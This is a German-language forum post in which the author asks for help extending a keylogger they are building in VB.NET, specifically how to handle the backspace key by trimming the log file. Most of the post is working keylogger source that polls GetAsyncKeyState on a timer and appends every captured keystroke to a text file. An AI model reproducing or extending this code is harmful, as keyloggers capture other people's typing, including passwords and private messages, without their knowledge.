Hi,
ich will mir einen Keylogger coden. Habe dazu das Sample von "ThePapst" verwendet. Nun will ich die "Löschen-Taste" (Taste über Enter) protokolieren. Es soll aber nicht einfach "Back" o.ä. in die Datei geschrieben werden sondern ich dachte mir das so:
Somit wird immer das letzte Zeichen der Zeichenkette weg"geschnitten".Code:Dim fs As New FileStream(Speicherort, FileMode.Open) Dim sr As New StreamReader(fs) Dim Buffer As String Buffer = sr.ReadToEnd sr.Close() Buffer = Buffer.Substring(0, Buffer.Length - 1)
Meine Frage:
Aber wie kann ich das jetzt möglichst übersichtlich in meinen Code einbetten,
da ich ja den StreamWriter-Stream schließen und einen StreamReader-Stream öffnen und wieder schließen muss, um "Buffer" zu füllen. Anschließend muss ich meine Textdatei wieder öffnen und "Buffer" reinschreiben lassen.
Momentan sieht meine Source so aus:
Code:Imports System.IO Public Class Form1 Declare Function GetAsyncKeyState Lib "user32.dll" (ByVal nVirtKey As Keys) As Short Dim Speicherort As String = "C:\Users\PCFX\Desktop\log.txt" Dim LoggDatei As New StreamWriter(Speicherort, True) Dim Buffer As String Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Enabled = True Timer1.Start() End Sub Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick If GetAsyncKeyState(Keys.A) = -32767 Then LoggDatei.Write("a") LoggDatei.Flush() End If '(usw.) End Sub



Zitieren
